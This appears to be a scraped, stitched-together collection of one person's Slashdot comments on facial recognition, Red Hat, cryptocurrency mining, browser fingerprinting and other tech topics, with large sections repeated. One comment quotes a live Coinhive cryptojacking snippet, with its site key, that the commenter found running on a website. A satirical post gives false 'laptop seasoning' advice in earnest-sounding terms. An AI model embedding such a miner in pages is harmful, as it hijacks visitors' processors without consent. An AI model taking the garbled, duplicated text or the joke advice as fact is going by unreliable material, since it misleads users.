When used in this adversarial way, facial recognition is a force multiplier to allow a small number of people to control the actions of a large number of people. In the same way as a gun.
I can't speak for Russia, but the UK police have, to date, had very little practical success with facial recognition.
(The article link is Liberty's breakdown of the London Metropolitan Police's worryingly inaccurate and painfully crude facial recognition operation used at the 2017 Notting Hill Carnival).
Money is the reason companies trust Red Hat, not 'boringness'.
Paradoxically, companies find free things scary. When a supplier charges for a product or service, companies feel the supplier has a greater contractual obligation to provide what was asked for.
I'm really surprised that technical people don't know about this. New laptops have to be burned-in, just as a new wok has to be seasoned.
Unseasoned laptops are coated with a factory oil to protect the metal and keep it from rusting until it is sold. This needs to be scrubbed away before the laptop can be seasoned.
The Windows seasoning process below will get your laptop ready to accept GNU/Linux, but don't expect it to be as black and nonstick as a laptop with a year of regular weekly use. But don't worry; even if the patina isn't that dark yet, your laptop will still be easy to work with with and clean.
This seasoning process is a time of bonding with your laptop - this half hour of installing, updating, and customization is the process by which you learn your new laptop: how heavy it is, how to hold it, how to modify it, how it responds to you. This seasoning process is bonding indeed!
A month of Windows is essential to keep the laptop looking good as its true patina develops.
Upgrade the firmware from 4,1 to 5,1 -- it's unsupported by Apple, but it convinces the 2009 mac pro that it's a 2010 mac pro, and can accept High Sierra.
The verb disrupt means: interrupt (an event, activity, or process) by causing a disturbance or problem
People seize on the adjective 'disruptive' and use it to mean the introduction of 'innovative thinking to improve a problematic system. But, in fact, are literally saying 'problems are introduced to an existing system that works'.
More problematic, even, than this personal assistant's inability be killed without a kill-app is the fact it's called 'Bixby' . Sorry Venkman, but I'm terrified beyond the capacity for rational thought.
Ironically the product VP of Evernym, James Monaghan recently said on twitter "Don't be Equifax. Design for trust instead".
However this entire announcement seems to be post-Equifax noise to drive additional funding to Evernym, in order to bolster the $750,000 they received from the Department of Homeland Security in May as part of their Small Business Innovation Research initiative (which, strangely, was kept quite quiet at the time).
I tried connecting from a few locations (Sweden, Florida, Hong Kong etc), and I am seeing what looks like 10% usage on the main page (0.9 should be 10%):
<script src="https://coin-hive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.Anonymous('xP9YtM7sFtCRhh1H2SJGWl60Z0BgbpHy', { throttle: 0.9 }); miner.start(); </script>
documentation says
.setThrottle(throttle)
Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.8 they will stay idle 80% of the time.
But CPU for firefox is about 80% and iceweasel 90%.
To a certain extent they painted their own target. And, because the fuzzy border between legal and illegal is often the most profitable, they seem to have chosen to cover every square inch of their exterior surface with target.
They have no more interest in helping the open-source community than in altruistically providing net-neutral, balloon-internet to India.
2. China's cheap electricity keeps Chinese miners at peak efficiency and allows them to outlast their foreign competitors. Many miners outside of China are attracted to Chinese mining pools due to their size. EG Antpool has mined nearly 20% of all blocks over the past year. I speculate that AntPool disguises its true hashrate by running subsidiary pools (ViaBTC, BTC.com, GBMiners, CANOE).
Also, it's a bit conspiracy-minded, but maybe they're indirectly subsidized by the Chinese government with a long term goal of state control of cryptocurrencies. IE the end-game isn't profit but control.
^^^
This really needs modding up. I am surprised the advertisers are even slightly concerned about cookies anymore when browser fingerprinting is a far more insidious and (currently) difficult to overcome privacy invasion for the end-user.
Since Google has persuaded almost everyone and their kid brother to run adsense code on the page, they have a canvas-fingerprint-trackable record of clickstream from page-to-page/site-to-site.
Tools like panopticlick and ipduh can give you an immediate sense of the problem, but trying to reduce it is tricky.
To sidestep fingerprinting pretty much means running the Tor browser or Firefox with Random Agent Spoofer, Decentraleyes, and a custom user.js set up with something like pyllyukko's prefs.
So the pertinent question would be "can't we simply ask China to refuse to provide transit to them?" to which the answer would be 'yes', but in reality China would not cut off their internet access, in the same way they do not cut off their trade, or place any security or border controls on North Korea's northern border with China.
Most of the non-hacked computers calculating cryptocurrency are Chinese pools using energy derived from hydroelectric power, because it's cheap. And therefore just slowing the earth down by some infinitesimally small amount.
So, in this case, the poor use of our energy inheritance remainder is caused by hacking, not the inherent requirements of mining.
To me the Google issue is part of a deeper problem with learning and information-retention in a search-engine-driven world.
As a child, when I didn't understand a word or concept, my parents would never provide the verbal definition; we had to fetch the thick dictionary or encyclopedia and look it up ourselves. Later on they told us the effort needed to look things up helped us remember the new words, historical events etc.
Nowadays it seems a person's brain intrinsically knows it doesn't need to remember things or work things out for itself. At a subconcious level, the brain knows it can find the solution to the problem at hand by googling, instead of 'reading around the subject' until it finds the full information needed to work the answer out. I really believe this impedes retention.
No matter how much you want to remember things or work things out yourself, your brain somehow knows it doesn't have to.
Google Drive is a service, TensorFlow is a free open-source technology. If Google decide to abandon TensorFlow it can be forked and picked up by the community.
rclone is FOSS, works great and is also compatible with Amazon S3, Rackspace Cloudfiles, Dropbox, Amazon Drive, Backblaze, Hubic, OneDrive and Yandex Disk. Basically rsync for cloud storage.
Actually the only reason Estonia is the current EU President is because the UK relinquished its turn following Brexit.
And, funnily enough, before they received their slot, Estonia were lauding their seemingly progressive digital attitudes.
President Kersti Kaljulaid:
Estonia's six-month turn at the rotating presidency will focus on digital innovation, particularly electronic public services, which the Baltic nation has made a hallmark of its own government. Estonia likes to boast that the only things a citizen cannot do online are get married, get divorced, or sell their home.
Slashdot Mirror
Then let it be known that the macbook1,1 and 2,1 can run libreboot instead of EFI.
When used in this adversarial way, facial recognition is a force multiplier to allow a small number of people to control the actions of a large number of people. In the same way as a gun.
I can't speak for Russia, but the UK police have, to date, had very little practical success with facial recognition.
(The article link is Liberty's breakdown of the London Metropolitan Police's worryingly inaccurate and painfully crude facial recognition operation used at the 2017 Notting Hill Carnival).
Money is the reason companies trust Red Hat, not 'boringness'.
Paradoxically, companies find free things scary. When a supplier charges for a product or service, companies feel the supplier has a greater contractual obligation to provide what was asked for.
Bear in mind that RMS does not consider Ubuntu to be free software, or advocate its use.
To be clear, his exact words are "If you ever recommend or redistribute GNU/Linux, please remove Ubuntu from the distros you recommend or redistribute." and "While you're at it, you can also tell them that Ubuntu contains nonfree programs and suggests other nonfree programs."
Burning in? What does that even mean?
I'm really surprised that technical people don't know about this. New laptops have to be burned-in, just as a new wok has to be seasoned.
Unseasoned laptops are coated with a factory oil to protect the metal and keep it from rusting until it is sold. This needs to be scrubbed away before the laptop can be seasoned.
The Windows seasoning process below will get your laptop ready to accept GNU/Linux, but don't expect it to be as black and nonstick as a laptop with a year of regular weekly use. But don't worry; even if the patina isn't that dark yet, your laptop will still be easy to work with with and clean.
This seasoning process is a time of bonding with your laptop - this half hour of installing, updating, and customization is the process by which you learn your new laptop: how heavy it is, how to hold it, how to modify it, how it responds to you. This seasoning process is bonding indeed!
A month of Windows is essential to keep the laptop looking good as its true patina develops.
Upgrade the firmware from 4,1 to 5,1 -- it's unsupported by Apple, but it convinces the 2009 mac pro that it's a 2010 mac pro, and can accept High Sierra.
http://appleinsider.com/articl...
https://arstechnica.com/gadget...
how-to video
https://www.youtube.com/watch?...
Hope this helps.
The problem is problems.
The verb disrupt means:
interrupt (an event, activity, or process) by causing a disturbance or problem
People seize on the adjective 'disruptive' and use it to mean the introduction of 'innovative thinking to improve a problematic system. But, in fact, are literally saying 'problems are introduced to an existing system that works'.
More problematic, even, than this personal assistant's inability be killed without a kill-app is the fact it's called 'Bixby' . Sorry Venkman, but I'm terrified beyond the capacity for rational thought.
Ironically the product VP of Evernym, James Monaghan recently said on twitter "Don't be Equifax. Design for trust instead".
However this entire announcement seems to be post-Equifax noise to drive additional funding to Evernym, in order to bolster the $750,000 they received from the Department of Homeland Security in May as part of their Small Business Innovation Research initiative (which, strangely, was kept quite quiet at the time).
documentation says
.setThrottle(throttle) Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.8 they will stay idle 80% of the time.
But CPU for firefox is about 80% and iceweasel 90%.
To a certain extent they painted their own target. And, because the fuzzy border between legal and illegal is often the most profitable, they seem to have chosen to cover every square inch of their exterior surface with target.
They have no more interest in helping the open-source community than in altruistically providing net-neutral, balloon-internet to India.
Why would consuming hydroelectric power slow the Earth down?
1. This explains it better than I could.
2. China's cheap electricity keeps Chinese miners at peak efficiency and allows them to outlast their foreign competitors. Many miners outside of China are attracted to Chinese mining pools due to their size. EG Antpool has mined nearly 20% of all blocks over the past year. I speculate that AntPool disguises its true hashrate by running subsidiary pools (ViaBTC, BTC.com, GBMiners, CANOE).
Also, it's a bit conspiracy-minded, but maybe they're indirectly subsidized by the Chinese government with a long term goal of state control of cryptocurrencies. IE the end-game isn't profit but control.
^^^
This really needs modding up. I am surprised the advertisers are even slightly concerned about cookies anymore when browser fingerprinting is a far more insidious and (currently) difficult to overcome privacy invasion for the end-user.
Since Google has persuaded almost everyone and their kid brother to run adsense code on the page, they have a canvas-fingerprint-trackable record of clickstream from page-to-page/site-to-site.
Tools like panopticlick and ipduh can give you an immediate sense of the problem, but trying to reduce it is tricky.
To sidestep fingerprinting pretty much means running the Tor browser or Firefox with Random Agent Spoofer, Decentraleyes, and a custom user.js set up with something like pyllyukko's prefs.
sGopher!
Given that FTP's usage is hovering around 0.0026% of top-level navigations over the last month
or... the kind of people who use FTP are also the kind that disable telemetry.
(and... the kind that use sFTP are the kind that don't use a browser.)
can't you simply refuse to provide transit to them?
Who is the 'we' and 'you' that your post refers to?
Because Nearly all of North Korea's Internet traffic is routed through China
So the pertinent question would be "can't we simply ask China to refuse to provide transit to them?" to which the answer would be 'yes', but in reality China would not cut off their internet access, in the same way they do not cut off their trade, or place any security or border controls on North Korea's northern border with China.
Most of the non-hacked computers calculating cryptocurrency are Chinese pools using energy derived from hydroelectric power, because it's cheap. And therefore just slowing the earth down by some infinitesimally small amount.
So, in this case, the poor use of our energy inheritance remainder is caused by hacking, not the inherent requirements of mining.
And, ironically, today is the day JP Morgan's boss suddenly decides that bitcoin is a fraud that will blow up, and is only fit for use by drug dealers, murderers and people living in North Korea and that he would fire 'in a second' anyone at the investment bank found to be trading in bitcoin.
When big money becomes that openly dismissive you know some shiat's gonna go down.
The aliens would see our earth at the same time we see their exoplanet.
By the time the light from the alien planet has reached our Earth to let us determine it's habitable, the light from our earth has reached them.
He told them never to Google solutions
To me the Google issue is part of a deeper problem with learning and information-retention in a search-engine-driven world.
As a child, when I didn't understand a word or concept, my parents would never provide the verbal definition; we had to fetch the thick dictionary or encyclopedia and look it up ourselves. Later on they told us the effort needed to look things up helped us remember the new words, historical events etc.
Nowadays it seems a person's brain intrinsically knows it doesn't need to remember things or work things out for itself. At a subconcious level, the brain knows it can find the solution to the problem at hand by googling, instead of 'reading around the subject' until it finds the full information needed to work the answer out. I really believe this impedes retention.
No matter how much you want to remember things or work things out yourself, your brain somehow knows it doesn't have to.
Google Drive is a service, TensorFlow is a free open-source technology. If Google decide to abandon TensorFlow it can be forked and picked up by the community.
They don't have a linux port of their tools.
rclone is FOSS, works great and is also compatible with Amazon S3, Rackspace Cloudfiles, Dropbox, Amazon Drive, Backblaze, Hubic, OneDrive and Yandex Disk. Basically rsync for cloud storage.
And, funnily enough, before they received their slot, Estonia were lauding their seemingly progressive digital attitudes.
President Kersti Kaljulaid:
Estonia's six-month turn at the rotating presidency will focus on digital innovation, particularly electronic public services, which the Baltic nation has made a hallmark of its own government. Estonia likes to boast that the only things a citizen cannot do online are get married, get divorced, or sell their home.